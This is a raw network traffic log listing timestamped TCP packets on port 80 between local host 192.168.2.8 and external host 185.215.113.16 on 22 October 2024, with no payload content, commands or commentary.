Oct 22, 2024 19:24:36.383349895 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383394003 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383543968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383559942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383574009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383591890 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383622885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383652925 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383666039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383688927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383702040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383708954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383724928 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383728981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383759022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383795023 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383795023 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.383812904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383845091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383860111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.383884907 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.387609005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387622118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387643099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387655020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387670994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387687922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387705088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387717962 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.387733936 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.387774944 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.387794971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387809992 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387825966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387840986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387859106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387862921 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.387873888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387890100 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387904882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.387914896 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.387914896 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.387959003 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388036013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388048887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388072968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388088942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388106108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388123989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388125896 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388125896 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388170004 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388184071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388221025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388221025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388315916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388329983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388346910 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388353109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388370037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388386011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388386965 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388402939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388423920 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388423920 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388439894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388515949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388534069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388551950 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388586044 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388601065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388603926 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.388616085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.388653040 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.437799931 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.497524977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497539997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497565031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497571945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497581005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497586012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497627974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497642040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497649908 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.497672081 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.497716904 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.497996092 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498012066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498025894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498042107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498056889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498055935 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498073101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498110056 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498110056 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498290062 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498306990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498315096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498338938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498353958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498368979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498378992 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498399973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498406887 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498406887 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498428106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498442888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498456955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498469114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498469114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498498917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498512030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498548031 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498548031 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498653889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498667955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498682976 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498698950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498713970 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498733997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498733997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.498893023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498908043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498922110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.498996973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499012947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499027967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499052048 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499052048 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499169111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499211073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499226093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499242067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499258041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499268055 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499268055 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499294043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499294996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499310970 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499339104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499346018 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499386072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499447107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499460936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499598980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499614000 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499639988 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499639988 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499680042 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.499695063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499711037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499726057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499757051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.499772072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.500122070 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.537736893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537750006 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537772894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537790060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537801981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537842035 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.537842035 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.537910938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537925005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537950039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537964106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537978888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.537981033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538083076 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538096905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538110971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538129091 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538151979 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538167953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538182020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538196087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538203001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538219929 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538301945 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538306952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538324118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538337946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538389921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538404942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538419962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538444042 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538444042 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538491964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538506985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538522005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538537025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538544893 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538544893 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538583994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538593054 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538599968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538614988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538630962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.538661957 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538670063 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.538995028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.539007902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.539021015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.539035082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.539079905 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.539079905 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.539227962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.539242983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.539257050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.539324999 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.543293953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.543325901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.543526888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613061905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613110065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613137007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613152981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613178015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613193989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613202095 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613202095 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613209009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613225937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613272905 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613272905 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613410950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613461971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613476992 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613559008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613574028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613591909 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613607883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613615036 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613615036 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613631010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613646984 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613670111 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613670111 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613825083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613879919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613895893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613928080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.613976955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.613992929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614008904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614025116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614039898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614180088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614192009 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614206076 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614243984 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614258051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614290953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614306927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614316940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614316940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614332914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614351988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614389896 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614389896 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614428043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614463091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614475012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614490986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614510059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614510059 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614620924 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614758968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614831924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614849091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614883900 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614900112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614909887 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614909887 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.614916086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614948988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614979029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.614995956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615011930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615025997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.615025997 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.615036011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615051985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615072012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615073919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.615073919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.615089893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615144968 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.615170002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615185976 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615209103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615221024 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.615225077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615241051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615250111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615257978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.615289927 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.615289927 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.615329981 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.655359983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655385971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655390024 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655420065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655426025 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.655436993 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655452013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655464888 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.655476093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655492067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655510902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655528069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655550957 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.655551910 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.655579090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.655924082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655940056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655956030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655982971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.655992985 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.655998945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656013966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656033039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656049967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.656049967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:36.656121969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656141043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656147957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656156063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656163931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656171083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656176090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656193972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:36.656207085 CEST	49717	80	192.168.2.8	185.215.113.16
